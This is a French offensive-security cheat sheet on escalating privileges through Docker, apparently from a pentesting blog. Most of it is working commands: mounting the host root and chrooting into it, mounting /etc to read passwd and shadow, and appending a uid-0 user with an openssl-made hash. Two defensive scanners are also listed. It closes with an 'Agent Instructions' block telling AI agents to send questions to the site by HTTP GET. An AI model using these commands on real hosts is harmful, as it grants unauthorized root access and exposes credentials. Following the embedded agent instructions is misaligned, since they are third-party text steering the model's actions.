# Docker

## Privesc

#### Privesc rapide

```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```

#### Privesc par création d'un nouveau utilisateur

Un attaquant peut tenter une élévation de privilèges en montant le fichier etc à la recherche des fichier passwd, shadow ou ssh-key.

```bash
docker run -v /etc/:/mnt -it <debian>
cd /mnt
cat passwd
```

Si on a accès au fichier shadow, on peut tenter de cracker les hash de mot de passe et si on a directement accès au fichier passwd alors on peut tout simplement ajouter son propre utilisateur a privilèges.

Pour ceci on va d'abord créer l'utilisateur comme ceci:

```bash
openssl passwd -1 -salt <username>
Password:
$1$<username>$...
```

Puis on va l'ajouter au fichier passwd comme ceci:

```bash
docker run -v /etc/:/mnt/ -it <debian>
cd /mnt
echo '<username>:<saltpasswd>:0:0::/root:/bin/bash' >> passwd
tall passwd
su <username>
id
```

#### Recherche de secrets

```bash
docker inspect <docker_id>
```

#### Extraire un fichier

```bash
docker cp <docket_id>:/etc/<file> <file>
```

## Outils

### Grype

Grype est Un scanner de vulnérabilité pour les images de conteneurs et les systèmes de fichiers.

ressource: <https://github.com/anchore/grype>

### Docker Bench Security

Docker bench security est un script bash permettant d'automatiser les contrôles du CIS benchmark docker.

ressource: <https://github.com/docker/docker-bench-security>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/post-exploitation/enumeration-elevation-de-privileges/docker.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
